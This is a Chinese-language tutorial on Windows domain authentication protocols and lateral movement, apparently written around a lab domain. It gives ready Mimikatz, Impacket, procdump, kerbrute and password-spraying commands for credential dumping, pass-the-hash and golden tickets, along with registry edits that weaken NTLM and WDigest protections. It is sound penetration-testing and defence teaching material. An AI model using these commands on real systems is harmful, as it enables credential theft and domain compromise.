域内相关协议与横向方法总结(一)
字数 2034 2025-08-03 16:50:37
域内相关协议与横向移动方法深度解析
Windows认证与加密机制
Windows Hash结构
Windows系统中Hash结构一般为:username:RID:LM-hash:NTLM-hash
- 自Windows 2000后,LM-hash通常为空(因其易被破解)
- NTLM密码hash保存在:
%SystemRoot%\System32\config\SAM - 域环境中用户信息保存在:
C:\Windows\NTDS\NTDS.dit
LM-Hash加密
特点:
- 口令不区分大小写
- 最大长度14字节(不足7字节时后面8字节固定)
- 使用DES算法(密钥为固定字符串"KGS!@#$%")
- Windows 7默认禁用
启用方法:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
NTLM Hash
获取途径:
- SAM文件
- NTDS.dit文件
- 通过Mimikatz读取lsass.exe进程
加密流程:
- 转换为16进制
- Unicode转换
- MD4加密
Net-NTLM Hash
网络环境下的NTLM认证中的Hash,分为:
- Net-NTLM v1 hash
- Net-NTLM v2 hash
格式:
- v1:
username::hostname:LM response:NTLM response:challenge - v2:
username::domain:challenge:HMAC-MD5:blob
Net-NTLMv1利用:
- 修改注册表开启v1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f - 控制challenge后通过彩虹表还原NTLM Hash
Windows认证协议
NTLM协议流程
- 客户端向服务器发送用户名(明文)
- 服务端生成16位challenge并返回
- 客户端使用密码hash加密challenge,发送Response
- 服务端使用存储的hash加密challenge并比对
域环境差异:
服务器会将用户名、加密后的challenge和原始challenge发送给DC验证
Kerberos协议
参与角色:
- 客户端
- 服务器
- KDC(密钥分发中心)= DC
KDC组成:
- AD:存储客户端白名单
- AS:生成TGT的服务
- TGS:生成服务ticket
认证流程:
-
客户端认证(AS-REQ/AS-REP):
- 客户端发送用户标识和预认证数据(Hash加密的时戳)
- KDC返回:
- Client/TGS会话密钥(用客户端NTLM Hash加密)
- TGT(用TGS密钥加密)
-
服务授权(Client-TGS):
- 客户端发送TGT和认证符(用Client/TGS会话密钥加密)
- TGS返回:
- Client-Server-Ticket(用服务器密钥加密)
- Client/SS会话密钥(用Client/TGS密钥加密)
-
服务请求:
- 客户端发送Client-Server-Ticket和新认证符
- 服务器验证后提供服务
横向移动技术
Pass The Hash (PTH)
使用条件:
- 知道目标账号的密码hash
- 目标账号是管理员组成员
- 注册表键值设置正确:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken值为0HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy值为1
Mimikatz实现:
privilege::debug
sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx
Impacket工具包:
- psexec:
psexec.exe -hashes LMhash:NTLMhash domain/username@x.x.x.x - wmiexec:
wmiexec.exe -hashes f67ce45ac631223dc18778085fe1d9df:161cff384477fe59635db81874498a24 de1ay/pc32@10.10.10.12
黄金票据攻击
要求:
- 域名
- 域SID值
- krbtgt账户Hash
- 伪造用户名
特点:
- KDC不检查TGT中的用户
- 票据有效期以票据为准
- 不需要加入域
伪造步骤:
- 获取krbtgt hash:
lsadump::dcsync /domain:de1ay.com /user:krbtgt - 生成黄金票据:
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:xxxx /user:administrator /ticket:gold.kirbi - 注入票据:
kerberos::ptt gold.kirbi
IPC$利用
基本操作:
- 建立连接:
net use \\10.10.10.12\ipc$ /user:administrator "password" - 文件操作:
dir \\192.168.242.134\c$ copy mimikatz.exe \\x.x.x.x\c$\temp\mimikatz.exe - 计划任务:
schtasks /create /tn "test" /tr calc.exe /sc once /st 16:32 /S 193.168.1.12 /RU System /u administrator /p "password" schtasks /run /tn "test" /S 192.168.242.134 /u administrator /p "password"
RDP横向移动
受限管理员模式:
- 开启:
REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f - 使用:
xfreerdp /u:administrator /pth:161cff084477fe596a5db81874498a24 /v:192.168.62.134 /cert-ignore
密码提取技术
Wdigest Auth
启用方法:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Mimikatz使用
privilege::debug
sekurlsa::logonpasswords
SAM表提取
- 离线获取:
reg save HKLM\SYSTEM system reg save HKLM\SAM sam - 读取:
lsadump::sam /sam:sam /system:system
Procdump转储
- 转储lsass进程:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp - 读取:
sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
防御措施
通用防御
- 定期修改krbtgt密码
- 限制管理员账户在其他主机上登录
- 启用SID筛选防止黄金票据攻击
LSA保护
- 启用:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1 - 移除Administrators组的Debug权限
NTLM防御
- 禁用NTLMv1
- 使用Kerberos优先策略
- 启用Protected User组强制使用AES加密
自动化工具
用户枚举
- kerbrute:
kerbrute_windows_amd64.exe userenum --dc 10.10.10.10 -d de1ay.com user.txt - pyKerbrute:
python2 EnumADUser.py 10.10.10.10 de1ay.com user.txt tcp
密码喷洒
DomainPasswordSpray:
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 1qaz@WSX
以上内容涵盖了Windows域内认证协议、横向移动技术和防御措施的全面知识体系,可作为渗透测试和安全防御的参考指南。